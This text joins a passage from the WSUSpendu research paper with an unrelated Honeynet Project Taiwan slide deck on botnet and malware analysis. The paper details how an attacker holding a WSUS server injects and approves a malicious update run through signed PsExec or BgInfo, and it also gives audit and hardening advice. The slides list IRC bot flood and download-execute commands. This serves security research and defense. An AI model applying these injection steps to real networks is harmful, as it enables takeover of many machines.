inserting metadata and binaries to attempt to execute arbitrary code on the client.
The WSUS process needs to have signed binary to accept an update. The Trusted Root
Certificates and the Trusted Publishers stores of the local machine are used to check
the signature. With this configuration it is not possible to modify an update by injecting
an arbitrary binary. Nevertheless, the command arguments are not included in the
signature check. Thus, it is possible to use a signed binary and to modify its argu-
ments in order to execute some commands. Interesting binaries available on Windows
(cmd.exe, wmic.exe, and so on) to execute commands have their signature in a catalog
and not as a part of the binary. Consequently they are rejected by WSUS service. To
circumvent this limitation, WSUSpect used PsExec and BGInfo from the Sysinternal suite
and signed by Microsoft. These tools could execute arbitrary commands through their
arguments.
WSUSpect attacks the update process between WSUS server and clients. No method
currently exists to attack the update process between two WSUS servers.
12
WSUSpendu
WSUS internals
WSUS service works with three components:
• an IIS Web server for the exchanges with clients and downstream servers;
• a database (could be local or remote) where the metadata are stored;
• a central service that manages the updates and interacts with the two other
components.
Studying the service is possible for a large part by using the SQL Server Management
Studio (SSMS) tool from Microsoft. Nevertheless, this tool needs to be installed before
the WSUS service. Then the Profiler tool in SSMS is awesomely useful to trace database
calls. Finally, the WSUS service is written in C# language thus it is possible to use a
classical .NET decompiler to understand its functionalities.
2.1
IIS Webservice
An IIS server, split in two parts, is used to deal with the clients. The first part is a
Webservice. It is in charge of delivering metadata to clients. The second part is using the
BITS (Background Intelligent Transfer Service) protocol to transfer the binary’s updates
(like CAB files, PSF or EXE) to the clients.
The Webservice use the SOAP protocol to manage the new clients then to interact with
them to negotiate the new updates to install. Two main request/response groups are
used by the Webservice. The first one allows a new client to register in the WSUS server
by declaring its configuration, negotiate session cookie, etc. (cf.
request). The following methods are used (cf. figure 2.5):
• ;
• ;
• ;
• .
These requests/responses are not authenticated and no control is performed on which
client is asking for information. Thus all clients could register in a WSUS server. Never-
theless, authentication is possible by using TLS client certificates but this configuration
is not widely present as per our security assessment experience.
Studying data exchanged between clients and the Webservice could be complicated
due to the data compression. But this configuration can be modified with the help of
the IIS MMC.
The second part of the Webservice exchanges allows a client to declare to the WSUS
13
WSUSpendu
Figure 2.5: SOAP protocol between WSUS clients and the server [6]. Client WS, Sim-
pleAuth WS and SelfUpdate Tree are three Webservice components for the different
requests/responses
server the status of its software updates (including the update agent himself). After that,
the client declares the status of its hardware updates (which drivers are installed, for
instance). With these pieces of information, the server could propose to the client the
available updates. Two methods are used for this goal:
• : calls for the software part (multiple calls could be necessary
in case of having a lot of updates to transfer), and calls for the drivers part (but
only one call in this case);
• .
Updates are then downloaded by the clients only when they ask for them. The download
process uses the BITS protocol to avoid network congestion. Binaries are stored in the
IIS WsusContent directory. On the client side, binaries are stored in the
directory.
14
WSUSpendu
2.2
Database
When installing the WSUS role, you can choose between two types of databases: either
use an already installed SQL Server or create a local WID (Windows Internal Database),
which is a lightweight SQL Server. In both cases, the default database name is SUSDB,
and there is no difference in its internal architecture. The only difference is the connec-
tion method:
• the access to the full SQL Server is done as usual, through either a TCP socket
or a named pipe, using Windows or mixte authentication, and so on;
• the access to the WID is done only through the use of a named pipe, by
default using the Windows authentication.
The database is composed of relational tables containing the full configuration of the
WSUS server (even the configuration needed to connect to this database), the updates
metadata, the registered clients list and their configuration, and so on. A lot of triggers,
checking for data consistency, govern the insertion into these tables. Therefore, a brutal
insertion into a random table has a great level of chance to be refused by one of these
triggers. Moreover, a lot of relationships between tables are established using foreign
keys, which complexifies again the direct insertion through SQL queries. However,
around three hundred stored procedures can be used to manipulate SQL data in a
usable way. These procedures query the database in the right order, dispatching calls
to respect triggers as well as foreign keys constraints, and modify some metadata to
better fit into some tables. For instance, only one stored procedure is used in order to
approve an update, while it manipulates around ten tables (insert, update and delete
operations).
The database is really the core of the WSUS server. Communications streams with the
WSUS clients are generated from the information stored in it. It also contains URLs
where the binary linked to the updates can be found, indexes of the files contained
in the IIS Webserver folder (known as WsusContent) that can be given to the clients
when asked to. All the data displayed in the WSUS console (in an MMC snap-in) also
come from the database. Every click in this console results in the call of at least one
stored procedure, which selects or updates the database accordingly. This is therefore
a strategic place where to manipulate data, including inserting new data to try and
compromise WSUS clients and selecting existing data to perform a security assessment.
2.3
WSUS service
The WSUS service () manages both the aforementioned components. It
interacts with the administrators through the WSUS console, which is an MMC snap-in.
Its behavior is simple as well as crucial for the WSUS server. It schedules most of the
stored procedures of the database needed to manage updates.
As soon as the service is started, it checks everything is fine on the WSUS server: it
15
WSUSpendu
gets the configuration from inside the database, it tests if the other two components
are installed and configured properly, it puts a mutex on the database not to have two
services to modify the database concurrently. Then it launches what will manage the
service’s life:
• HealthMonitoringThreadManager: it will check the database, clients, Web-
service and certificate states. Its presence is useful to ensure everything is func-
tional. To signal this state, it runs every five seconds the spUpdateServerHealth-
Status database’s stored procedure;
• DispatchManagerDatabasePollingThreadProc: it will allow the service to be
managed. Three stored procedures, spGetNotificationEventNamesToWakeUp-
OnStartup (at launched time) or spGetNotificationEventNamesToWakeUp and
spGetChangeTrackingInformation, are used to follow the database’s changes.
For instance, when configuration changes are detected, this thread will detect it
and reconfigure the WSUS service automatically by updating the appropriate ta-
bles. A raised event is also detected by these procedures, returned to the service,
which then will run the appropriate stored procedure depending on the received
event. This thread checks for changes every second to ensure -kind of- a smooth
experience.
One of the functionality of the service is to deal with MMC’s user interactions. In the
case of a change of the configuration through the MMC, or using any other user in-
terface functionality, a call to one of the functions of the service is performed. Most of
these functions are really simple as they perform one task: call the appropriate stored
procedure which will deal with the input. These stored procedures will also update a
state machine to change it in order to turn it into a new state. This is then the spGetNoti-
ficationEventNamesToWakeUp procedure in the DispatchManagerDatabasePollingTh-
readProc thread, which will be notified of the change, and that will then notify the rest
of the service.
Dealing with an event takes the following steps: an action is performed by an admin-
istrator, which runs one of the services functions dedicated to user inputs, which in
turn runs a stored procedure that deals with the specificities of this particular event and
updates the state machine in the database. During the DispatchManagerDatabase-
PollingThreadProc thread execution, the procedures will detect the new state of the
state machine, thus discover the changes, and eventually run other stored procedures
to perform whatever task that is still needed to be performed.
As seen here, the whole service consists in performing requests to the database, but
as said before, the core of the WSUS server really is the database, which contains all
WSUS important data.
16
WSUSpendu
Injecting a new update
Injecting a new update in the WSUS server takes multiple steps:
• connects to the SQL database, which will allow its data to be modified at will
afterwards;
• prepares the XML files in which the update’s prerequisites are detailed, the
executed binary’s location is given and some options used by the update are
provided;
• upload of the executed binary on the WSUS server;
• runs various SQL stored procedures to effectively add the update’s metadata
into the database (which is basically the way new updates are declared);
• creates a new group dedicated to targeting a WSUS client;
• approves and deploys the update.
3.1
Interaction with the database
If the database used by the WSUS service is a standard version of SQL Server, the
connection remains classic, for authentication notably.
The SQL server’s name is
given in the value name of the
key.
If the database used is a WID (Windows Internal Database), the WSUS server is con-
necting through a named pipe. This pipe is accessible through one of the following
paths, according to the Windows server version:
• For Windows server 2008R2 and below:
• For Windows server 2012 and above:
An attacker controlling a WSUS server can thus establish a connection with implicit au-
thentication (every administrative local account has the requested privileges by default),
without any particular limit, to the WSUS database.
3.2
Update metadata
The stored procedures used to inject metadata (we will describe them later) use full
XML as arguments. These XML describe the update’s metadata that we want to insert.
We can find the update title (e.g. ”windows6.1-kb2862335-x64”), its description (”A
security issue has been identified […]”) in all supported languages by Windows and
17
WSUSpendu
by the update itself, as well as the names of various files to be installed (with at least
their SHA1 hashes). These pieces of information are duplicated if the update has to be
applied on 32- and 64-bits systems.
Prerequisites in the XML (0)1 allow the Windows Update client to know if this particular
update has to be installed, or can be ignored. In the malicious update injection case, a
special care must be taken for the update to be installable by any client, without client-
side limit. For the record, multiple listings of GUID usable in these rules are available
on the Internet [2, 9, 10].
There are two major pieces of information for a single update. The first one describes
the file used by the update (with its SHA1 hash (1) and its download URL (2)), and
the arguments (3) to pass as a parameter of this binary. This first part is not directly
approvable, nor it is shown in the WSUS console. The second part, which is a ”bundle
update”, references the first one (4) and is injected as an approvable update, shown in
the WSUS console. Once this second part is approved, it allows the clients to pull the
first part, download the referenced files and execute them.
(0)
(1)
Listing 3.2: XML example describing an update
1The (X) notation is used as a legend in the following listings.
18
WSUSpendu
(4)
Listing 3.3: XML example describing a bundle of updates
Each part has XML-linked ”fragments”. These fragments will not be used by the server,
but are given as-is to the WSUS clients. They also have update prerequisites listed
and information displayed in the Windows update manager. Each fragment has a type
defining its main function:
• 1: Update type, used to reference the update on the client side. The XML of
this type have prerequisite rules, with restrictions on the processor type, specific
values in the Windows registry, specific version of such program installed, and so
on;
• 2: ExtendedProperties type, used by the client to fetch and execute the binary
linked with the update. The XML of this type also contains the arguments to give
in the binary command-line;
• 4: LocalizedProperties type, contains metadata displayable on the client side,
like the update’s title, its description, URLs to get more information, and so on.
19
WSUSpendu
Listing 3.4: Type 2 (Extended Properties) XML fragment example, which is HTML-
encoded in the database and on the network
Finally, a small XML needs to be created to link each SHA1 hash of previously declared
files in the aforementioned update to a URL from where the files can be downloaded.
Listing 3.5: XML example describing a download URL of a file
3.3
Updateʼs binary upload
The files used by the update need to be downloaded by the WSUS server for it to give
it to the client when asked to. As for WSUSpect, these binary files need to be signed by
a certificate stored in the WSUS server in the Trusted Root Certification Authorities or
Trusted Publishers local machine stores. The binaries’ arguments are arbitrarily chosen
by the attacker.
To be downloadable by the WSUS server, there are various places where you can put
the binaries:
• Put the files on an attacker-controlled webserver, for instance on the attacker
machine. This technique will be avoided as at some point it might let the WSUS
server unable to download the file if the attacker has finished the pentest;
• Put the files in the format ,
where:
• is the root directory as used by the WSUS service. Its
value can be retrieved in the column of the
table in the WSUS database,
• is the last byte, in the hexadecimal format, of the SHA1 hash of
the file,
• is the SHA1 hash, in the hexadecimal format, of the file;
• Use the IIS webserver from the WSUS server to serve the file, and use this kind
of URL: in the XML (listing 3.5).
As described in the WSUSpect article, the PsExec and BgInfo binaries, from the Sysin-
ternals suite, can be used for this kind of attack. They both are signed by Microsoft and
20
WSUSpendu
can execute arbitrary commands through their command-line arguments. The binary
signature checking is done twice: by the server just after having downloaded the binary
(which is done, by default, once the update has been approved), before using it for any
purpose, and by the client, also just after having downloaded the binary. The choice
to use one binary or the other depends on the scenario played. For instance, PsExec is
more often detected as a malicious hacking tool by antivirus solutions. BgInfo, however
being less subject to antivirus detection, needs a script to execute as argument, and not
directly the executed command. This script thus needs to be available from the client
downloading the update, which can be a hard-to-achieve prerequisite depending on
the network architecture. Note that other binaries, like MSBuild and InstallUtil, might
be able to achieve the same utility, but have their specific requirements.
3.4
Injecting in the database
There are five stored procedures which have to be used to effectively inject an update
in the database, thus in the WSUS service. These four procedures need to be called
twice: once for the fiel to execute (listing 3.2), then for the bundle (listing 3.3).
The first stored procedure is called spImportUpdate. This one takes the first XML (list-
ings 3.2 or 3.3) as an argument, potentially compressed in a cabinet (.cab) file, and a
local upstream server identifier, used when multiple WSUS servers are available on the
network. The procedure returns the insert status (whether it has been injected or not)
and a local identifier, uniquely identifying the inserted update on the server. The latter
parameter will be given to some of the following stored procedures.
The second procedure to call, spSaveXmlFragment, has to be called for each fragment
associated to the XML given the first stored procedure. This spSaveXmlFragment pro-
cedure takes the update GUID (found at the begining of the listings 3.2 or 3.3 as the
UpdateID).
Then, it’s the spSetBatchURL that has to be called. This procedure links, from the
listing 3.5, the download URL to the SHA1 hash of the files in the database. The URL
from this XML is used by the WSUS server to download the files associated by an update
when this update is approved. The WSUS server can also be configured to download
the update files as soon as the update is inserted, but that is not the default. As a side
note, if the WSUS server is not able to download all the files associated with an update,
the update will never be seen as a new update by any client.
Finally, the two stored procedures spDeploymentAutomation and spProcessPrerequi-
sitesForRevision take the local update identifier returned by the spImportUpdate call.
spDeploymentAutomation is needed for triggering automatic approval, if the update
corresponds to the activated criteria as positioned by the WSUS server’s administrator.
spProcessPrerequisitesForRevision is creating automatic deployment links: once the in-
21
WSUSpendu
serted update is deployed, every update on which this one depends will be pulled to
be installed by the client to assure stability. In the case of a malicious update, this
procedure is not necessary as our update will be independent from the others.
3.5
Targeting a specific client
The update in itself can be deployed on every client of the same WSUS group. To target
a specific client, one would thus need to move this client into a dedicated group.
Creating a WSUS group can be done through the call of the spCreateTargetGroup
stored procedure, which takes its new name and the GUID assigned to this group as
arguments. The spAddTargetToTargetGroup can then add the target client into the
newly-created group. This latter procedure takes the group’s GUID and the local iden-
tifier for the targeted client. This identifier can be retrieved using the spGetComputer-
TargetByName procedure, which takes the fully-qualified domain name (FQDN) of the
targeted client as an argument.
Adding a client into a newly-created group using the spAddTargetToTargetGroup pro-
cedure does not remove the client from its former group, allowing for the updates from
the latter to still be applied. This is not something the WSUS interface allows to do, but
it is possible through the direct use of the stored procedures from the database.
It is obviously possible to add more than one client to this group, enlarging the com-
promise, to target for intance all domain controllers or all workstations used by the
administrators.
3.6
Update deployment
Approving the update through the stored procedure spDeployUpdate announces the
effective deployment of the update on the targeted client. This procedure takes the
update identifier and the target group GUID on which the update has been approved
as arguments. The update identifier to give is the one of the bundle update.
The WSUS service’s state machine is then triggered following spDeployUpdate execu-
tion to download the binary, if not already done, as it is configured by default.
22
WSUSpendu
Introducing WSUSpendu
A tool has been created to automate the aforementioned actions needed to inject
an attacker-controlled update. This tool is freely available at the following address:
.
This tool’s goal is to gain administrative access of WSUS server’s clients. It has been
developed in PowerShell, and runs natively [4] without additional modules. The idea
here is to show that a simple script, adapted for any Windows Server version, can be
developed easily. For instance, the SQL server connection is done through the use of
.Net objects:
Listing 4.6: PowerShell database query example
The script needs either PsExec or BgInfo, the only two binaries known to have an Authen-
ticode signature by Microsoft that can execute arbitrary commands on any Windows
systems. The script takes the binaries arguments in parameter and automatically in-
jects the chosen binary and crafted metadata into the database (cf. listing 4.7 and
figure 4.6). The PowerShell script, as well as the chosen binary, needs to be uploaded
to the WSUS server for a local execution.
Listing 4.7: Wsuspendu.ps1 injection example, using PsExec as a signed binary
Next time the client will get its new-updates list, a new update will appear (cf. figure 4.7),
one which has been designed to be downloadable and installable. The update will then
be subject to the client’s configuration, whether it has been configured to automatically
or manually install updates. The new update in itself is able to be installed without any
user interaction.
23
WSUSpendu
Figure 4.6: What it looks like from the WSUS console.
Figure 4.7: Notification of the new injected update, which needs to be downloaded
and installed, to the client.
24
WSUSpendu
Auditing WSUS
The update process is a fundamental part of a security assessment. However, check-
ing this process is functioning smoothly is not something easily done. This checking
is usually limited to a set of representatives workstations and servers. But a critical
vulnerability only on one workstation can lead to catastrophic results. The MS14-018
vulnerability shows an example of such critical vulnerability on domain controllers: one
of them presents this vulnerability and the entire Active Directory is given to a potential
attacker. In such cases, how can we have a glimpse of the vulnerability state of all the
computers?
Having access to the WSUS server will help us in this auditing task, as any update action
is logged in the WSUS database. It is thus easy to request data from this database in
order to know each update deployment state. Moreover, as the WSUS server is a
centralized system, the information got from the database are canonized: for instance,
dates of updates apply are stored in a universal format, whereas they are stored as
locale-dependent when installed on the final systems. Therefore, a US or GB system
won’t have the same date format as for FR systems. When parsing automatically the
dates, this is an important problem to have in mind.
As per the problems explained in this paper, the audit will have two major parts. The first
part will deal with the WSUS server in itself, where this server has to be well-configured
not to decrease the overall security level (cf. sections 1.3 and 3.6). The second part is
a more traditional one and concerns the effective updates deployment state.
It is possible to get the following check points (not an exhaustive list):
• WSUS server parameters (TLS usage, upstream and downstream servers, and
so on);
• last synchronization on the Microsoft Update servers;
• connections to potential other WSUS servers, and how this connection is done;
• listing of the registered machines in the WSUS server;
• listing of the machines by operating system;
• breakdown by machine category (servers, workstations, and so on);
• listing of machines with a lot of unpatched vulnerabilities;
• listing of declined updates;
• update apply state per machine, with their apply date.
Database requests also allow for linking Knownledge Base (KB) numbers with Microsoft
Security Updates (MS). This linkage will please every auditor trying to make this work
out from the Microsoft website.
25
WSUSpendu
One of the main points when checking updates states is validating which update su-
persedes which, and which one is superseded by which. Indeed, it sometimes happens
that updates are delivered by Microsoft, but then revised with a new update, making the
first one useless. From the WSUS server point-of-view, the first one will be switched to a
”not applicable” state and will not be delivered anymore. This superseding mechanism
has to be taken into account while checking for the update apply as a vulnerability
might have been patched in multiple updates, one superseding another. An auditor
then needs to know the dependencies implied by this superseding mechanism, which
could be rapidly unmanageable. One of the answers to this problem could be to have
faith in the MBSA [7] tool provided by Microsoft to filter out the results given by the
WSUS audit.
The script has been written to ease requests. It allows to run all those
requests and get the answers for auditing purposes.
26
WSUSpendu
Microsoft network architecture issues
6.1
Administration principles
Windows systems administration principles may be difficult to put in place, but applying
them on a day to day basis can be even much more difficult: single-sign on authentica-
tion constrains authentication secrets to be in memory on each system a user is logged
on. A resource in a distinct sensitivity level should not depend of an administrator on
another sensitivity level. Indeed, the compromise of a lower-sensitivity resource will
lead up to the theft of upper-level administrator’s credentials. On the other hand, the
compromise of a lower-sensitivity administrator’s workstation administering an upper-
sensitivity resource will lead up to the compromise of upper-level credentials. In both
cases, authentication secrets can be reused to pivot and propagate inside the network.
From this ascertainment, Microsoft [11] is providing a paper about securing the admin-
istration architecture, with the clean source principle. Microsoft describes the notion of
control between objects in this paper, which can also be illustrated by the ADCP (Active
Directory Control Path) tool [5] of the French cyberdefense agency (ANSSI).
As we have seen it, it is possible to compromise WSUS clients when the WSUS server is
already compromised, thus the existence of a control relationship from a WSUS server
to the systems this server update. The WSUS servers delivering updates to the domain
controllers therefore need to be treated at the same sensitivity level as these domain
controllers. These WSUS servers have to get their updates from Microsoft, without
another WSUS server in-between, especially if of a lower-sensitivity level. Microsoft
Update servers, the first upstream of all WSUS servers, have to be considered as neutral:
the updates they are delivering are provided in a secure way and have to be applied.
6.2
One WSUS server for multiple forests
A lot of organizations have multiple independent Active Directory forests. This archi-
tecture is often chosen in order to have distinct security frontiers. However, it seems
more often than not that the WSUS servers are chained between these forests: a unique
update policy allows for reducing updates qualification costs.
As seen above, this dangerous relationship establishes a control path. The compromise
of one domain inside one of the upstream forest, from the WSUS point-of-view, leads
up to the compromise of all downstream forests. The Active Directory security frontier
is therefore broken by this new control relationship.
27
WSUSpendu
6.3
A WSUS server for a disconnected network
The disconnected network scenario shows more problems for trusting updates. If a
network is disconnected, it is usually because of its sensitivity. However, updates ap-
plied on these networks come from an Internet-connected WSUS server. Moreover,
updates are usually qualified only once: on the WSUS server which is connected to
Internet. Administrators thus approve automatically updates, already qualified, on the
disconnected network.
Moreover, with automatic approvals, the network takeover can happen as soon as the
copy is finished on the disconnected WSUS server, without any administrator interven-
tion. In the same idea, it should be possible to add a trigger detecting the copy on the
disconnected network to add and approve a malicious update - detecting the change
of network is left as an exercise to the reader. Moreover, triggers are a key place to
put a backdoor on the server...
This situation thus shows an easy and automatic way to take control of disconnected
networks, which is critical.
28
WSUSpendu
Recommendations
Securing a Microsoft update architecture comes by taking care of the various security
problems exposed throughout this whole article. A hardening step has to be done on
the WSUS service in itself, but a well-thought architecture is also a mandatory step.
7.1
Securing the WSUS service itself
The correct WSUS configuration mainly relies on activating the TLS layer for clients
requests. This configuration can be done in three steps [8]:
• generate a certificate;
• activate the TLS configuration on the WSUS server;
• activate the TLS configuration on the WSUS clients.
Generating a TLS certificate can be achieved with IIS manager. It is possible to sign
one’s certificate by a local PKI or by an external third-party. The certificate then needs to
be linked to the WSUS website in IIS’ configuration. TLS has to be required for the fol-
lowing virtual roots: APIRemoting30, ClientWebService, DSSAuthWebService, Server-
SyncWebService and SimpleAuthWebService, found inside the WSUS website. The fi-
nal step is to force the TLS usage on the WSUS root server, using wsusutil:
where stands for the DNS name of the WSUS server.
Activating TLS connections on WSUS clients can be achieved by using the GPO mech-
anism. Beware that the server’s certificate has to be deployed on the clients if it is not
signed by a trusted third-party already in place on the various clients.
7.2
Multiple WSUS servers architectures
WSUS server dependency against another functional domain can be enlarged outside
updates services’ scope. From a broad point-of-view then, if, for any reason, separation
between environments has been decided, it is mandatory for administrative and support
services not to depend on another functional domain.
This situation is therefore applicable for administrators, their workstations, the network
managing infrastructures like SCCM, control and supervise infrastructures like SCOM,
backups, and finally for the point of this article, update services such as WSUS. On
the other hand, a control relationship can be exploited by means such as explained
throughout this article.
29
WSUSpendu
7.3
Disconnected networks case
The disconnected networks case is more complex. Indeed, having a WSUS server,
normally responsible for applying updates thus increasing security, propagating viruses
would be disastrous. If the update process is propagating viruses, the tendency would
be to stop applying updates on the disconnected networks altogether. Good security
practices would of course disagree with this ”solution”. However, care must be taken
to avoid giving an attacker an easy access to a disconnected network.
One would thus build a WSUS server on the Internet network which would not depend
on any Windows domain (cf. previous recommendation). Its authentication would be
local only, and a specific hardening would have been applied in order to limit its at-
tack surface to a minimum (no more service than necessary, bad-ass passwords, local
network filtering, and so on). Updates then need to be synchronized regularly with Mi-
crosoft Updates services, before putting the data on the upper-level, the disconnected
network. The use of a proxy to avoid the server going straight on the Internet, can be
achieved if it is not configured to break TLS streams. Of course, putting the data on the
upper-level has to be done by disconnection from the Internet network, then connection
to the disconnected network, or by the use of a one-way diode. Passing data from the
upper-level to the Internet-connected network has to be prohibited by all means.
The most often seen configuration during security assessment is using the virtualization
technology, so the following procedure could be done for these situations:
1. WSUS server is a virtual machine on an hypervisor. This latter is out-of-
bounds from the rest of the network (authentication, network filtering, and so
on);
2. both WSUS VM and the host have seen their configuration hardened (au-
thentication, updates, local filtering, exploit mitigations, and so on);
3. both WSUS VM’s and host’s administration are done through a physical ac-
cess onto the machine;
4. the WSUS server is synchronized with Microsoft’s servers, without intermedi-
ary.
5. once a day, the WSUS VM is cloned and copied onto a removable media;
6. once this removable media is on the upper-lever, on the disconnected net-
work, the VM can be copied, booted, and used;
7. once these operation are done, the removable media data can be erased.
30
WSUSpendu
Conclusion
WSUS is a core component on which Windows networks rely on, as well as other ser-
vices (Active Directory, SCOM, SCCM, and so on). As these other services, particular
configuration switches need to be in place to improve this component’s security. Other-
wise, the simple presence of such a component can turn against the network’s security
and play the game of an attacker, being able to compromise a lot of machines.
Removing the Active Directory component of your network because the fact that it is
compromised will endanger the whole network would be as stupid as removing the
WSUS server, or any update mechanism, because of these new threats.
This article has shown that a control relationship exists from the WSUS server to all its
clients. The administrators, network architects and architecture auditors thus need to
take care as to where is this server inside the network, and who is able to administrate
this server.
31
WSUSpendu
Bibliography
[1]
Wsus offline update. .
[2]
Andreas Brantholm.
Windows Product/Update Classification Codes for SC-
CM/WSUS Usage.
.
[3]
Paul Stone and Alex Chapman. WSUSpect – Compromising the Windows Enter-
prise via Windows Update. BlackHatUS, 2015.
[4]
Don Jones. Windows PowerShell: Doing Databases with Powershell.
.
[5]
Emmanuel Gras, Lucas Bouillot and Geraud de Drouas. ADCP - Active Directory
Control Paths. .
[6]
Microsoft. Message Processing Events and Sequencing Rules.
.
[7]
Microsoft. Microsoft Baseline Security Analyzer.
.
[8]
Microsoft.
Step 3:
Configure WSUS.
.
[9]
Microsoft. Well-Known Detectoid IDs.
.
[10] Microsoft.
WSUS Classification GUIDs.
.
[11] Corey Plett. Microsoft’s clean source principle.
.
33
WSUSpendu | pdf |
Botnet and Malware
behavior analysis
蔡一郎
2010/07/17
Honeynet Project Taiwan Chapter www.honeynet.org.tw
蔡一郎 Steven
學歷:國立成功大學電機工程研究所碩士
現任:國家高速網路與計算中心 副工程師
重要經歷:
國立成功大學研究發展基金會助理研究員
崑山科技大學兼任講師
台南科學園區產學協會理事
Honeynet Project Taiwan Chapter負責人
自由作家
電腦圖書著作33本
Information Security(資安人)、Linux Guide、NetAdmin專欄,計60餘篇
專業證照:
RHCE、CCNA、CCAI、CEH、CHFI、ACIA、ITIL Foundation、ISO 27001
LAC、ISO 20000 LAC
2
Google Me.
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Outline
Honeynet and Botnet
Honeynet Project introduction
Taiwan Chapter introduction
What is Honeypot and Honeynet
Honeynet Project Tools
TWMAN
3
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Where can find Malware sample?
User、provider、Honeynet…
What is the behavior about Botnet?
Network connection、system modify…
Multi Function
bots
4
Honeynet and Botnet
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Non-profit (501c3) organization with Board of Directors.
Funded by sponsors
Global set of diverse skills and experiences.
Open Source, share all of our research and findings at no
cost to the public.
Deploy networks around the world to be hacked.
Everything we capture is happening in the wild.
We have nothing to sell.
5
Honeynet Project introduction
Honeynet Project Taiwan Chapter www.honeynet.org.tw
A community of organizations actively researching,
developing and deploying Honeynets and sharing the
lessons learned.
Awareness: 增進企業與組織對存在於現行網路上的威脅與
弱點之了解,進一步思考如何去減輕威脅的方法
Information: 除了提供基本的攻擊活動外,進一步提供更關
鍵性的資料,如: 攻擊動機,駭客間如何聯絡,駭客攻破主機
後下一步的攻擊動作
Tools: Honeynet Project 致力於發展 Open Source Tools,藉
由這些Tools,我們可以更有效率的佈建誘捕系統了解網路環
境攻擊威脅現況
6
Honeynet Project Mission
Honeynet Project Taiwan Chapter www.honeynet.org.tw
7
Honeynet Project 全球支會分布
Taiwan Chapter
Honeynet Project Taiwan Chapter www.honeynet.org.tw
What is a Honeynet ?
High-interaction Honeypot
It is an architecture, not a product or software
Populate with live systems
Once compromised, data is collected to learn the tools, tactics, and
motives of the Blackhat community
Value of Honeynet
Research : Identify new tools and new tactics, Profiling Blackhats
Early warning and prediction
Incident Response / Forensics
Self-defense
8
Honeypot/Honeynet Technology
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Hundreds of scans a day.
Fastest time honeypot manually compromised, 15 minutes
(worm, under 60 seconds).
Life expectancies: vulnerable Win32 system is under three
hours, vulnerable Linux system is three months.
Primarily cyber-crime, focus on Win32 systems and their
users.
Attackers can control thousands of systems (Botnets).
9
The Threat
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Large networks of hacked systems.
Often thousands, if not tens of thousands, of hacked
systems under the control of a single user.
Automated commands used to control the ‘zombies’.
10
Botnets
Honeynet Project Taiwan Chapter www.honeynet.org.tw
After successful exploitation, a bot uses TFTP, FTP, or
HTTP to download itself to the compromised host.
The binary is started, and connects to the hard-coded
master IRC server.
Often a dynamic DNS name is provided rather than a
hard coded IP address, so the bot can be easily
relocated.
Using a special crafted nickname like USA|743634
the bot joins the master's channel, sometimes using a
password to keep strangers out of the channel
11
How They Work
Honeynet Project Taiwan Chapter www.honeynet.org.tw
12
Bots
ddos.synflood [host] [time] [delay] [port]
starts an SYN flood
ddos.httpflood [url] [number] [referrer] [recursive = true||false]
starts a HTTP flood
scan.listnetranges
list scanned netranges
scan.start
starts all enabled scanners
scan.stop
stops all scanners
http.download
download a file via HTTP
http.execute
updates the bot via the given HTTP URL
http.update
executes a file from a given HTTP URL
cvar.set spam_aol_channel [channel]
AOL Spam - Channel name
cvar.set spam_aol_enabled [1/0]
AOL Spam - Enabled?
Honeynet Project Taiwan Chapter www.honeynet.org.tw
13
IRC BOT
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Botnets sold or for rent.
Saw Botnets being stolen from each other.
Observed harvesting of information from all compromised
machines. For example, the operator of the botnet can
request a list of CD-keys (e.g. for Windows or games)
from all bots. These CD-keys can be sold or used for other
purposes since they are considered valuable information.
14
Botnet Economy
Honeynet Project Taiwan Chapter www.honeynet.org.tw
A highly controlled network where every packet entering or
leaving is monitored, captured, and analyzed.
Data Control
Data Capture
Data Analysis
15
How it works
http://www.honeynet.org/papers/honeynet/
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Honeynet Project Tools
Capture BAT
Capture-HPC
Google Hack Honeypot
HIHAT(High Interaction
Honeypot Analysis Toolkit
HoneyBow
HoneyC
Honeyd
16
Honeymole
Honeysnap
Honeystick
Honeytrap
Honeywall CDROM
nepenthes
Pehunter
Sebek
Tracker
Honeynet Project Taiwan Chapter www.honeynet.org.tw
17
Honeynet Project Tools
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Virtual Machine Honeynet
Advanced Server(128GB Memory)
Blade Server(SAS or SSD HDD)
VMWare ESX/vSphare
1200+ Servers, Windows XP/Vista, Linux, FreeBSD
High Interaction and Low Interaction Honeypots
Distribution Honeynet/Honeypot
Taiwan Education Network
Taiwan Chapter members
GDH Project
18
Our Environment
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Large-Scale VM-based Honeynet
Deployment
Malware Collection and Analysis
Honey-Driven Botnet Detection
Client-Side Attack
Malicious Web Server Exploring
RFI Scripts Detection
Fast-Flux Domain Service Tracking
Research Alliance
Distributed Search and Analysis on Honeynet
Data
19
Research Project & Achievements
Collection
Analysis
Detection
Tracking
Reaction
Honeynet Project Taiwan Chapter www.honeynet.org.tw
20
Botnet Detection
Botnet搜尋引擎
Bot-Infected 分析
惡意網頁分析
CWsandbox
TWMAN
惡意程式行為分析
Botnet C&C
Security
Dashboard
事件通報
Honeynet Project Taiwan Chapter www.honeynet.org.tw
21
Botnet analysis in global
Honeynet Project Taiwan Chapter www.honeynet.org.tw
TaiWan Malware Analysis Net
Open Source malware analysis Net
Project
http://twman.sourceforge.net/
http://twman.openfoundry.org/
Behavior analysis
Multi-Platform(OS)
22
Why is TWMAN
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Two composed:
Malware behavioral analysis agent
Ontology agent
Collects the malware behavioral information to build:
malware behavioral ontology
malware behavioral rules.
Malware behavioral ontology, which is store in an ontology
repository.
TWMAN will protect the computers from the attack of
malware, computer viruses and Trojans etc...
23
Taiwan Malware Analysis Net ( TWMAN )
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Development
Truman, The Reusable Unknown Malware Analysis Net
NCHC Clonezilla
INetSim, Internet Services Simulation Suite
Co-operation
Honeynet
Nepenthes
Dionaea
Search engine
Splunk
Virus Scanner
Virus Total
24
TWMAN
Honeynet Project Taiwan Chapter www.honeynet.org.tw
1.Collect
2.Analysis
3.Build
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Taiwan Malware Analysis Net, TWMAN - Analysis Report
臺灣惡意程式分析網,抬丸郎 - 分析報告 Last Update : 2010-06-20
http://twman.sourceforge.net
